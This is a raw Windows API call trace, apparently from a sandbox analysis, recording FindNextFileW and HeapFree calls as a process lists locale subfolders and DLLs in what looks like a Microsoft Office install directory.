	[0074.419] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0074.422] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.422] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0074.427] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.427] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0074.430] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.430] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0074.433] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.433] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0074.436] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.437] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0074.910] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.911] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0074.927] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.927] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0074.941] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.941] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0074.949] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.949] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0074.950] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.950] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0074.952] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.952] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0074.953] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.953] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0074.955] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.955] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0074.957] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.957] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0074.958] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.958] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0074.960] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.960] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0074.961] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.961] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0074.963] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.963] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0075.323] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.323] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0075.329] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.329] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0075.335] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.335] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0075.339] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.339] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0075.342] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.342] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0075.344] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.344] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0075.348] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.348] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0075.351] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.351] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0075.353] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.353] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0075.356] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.356] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0075.359] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.359] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0075.362] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.362] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0075.365] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.365] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0075.368] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.368] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0075.370] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.370] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0075.631] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.631] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0075.636] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.636] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0075.638] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.638] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0075.643] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.643] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0075.645] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.645] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0075.650] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
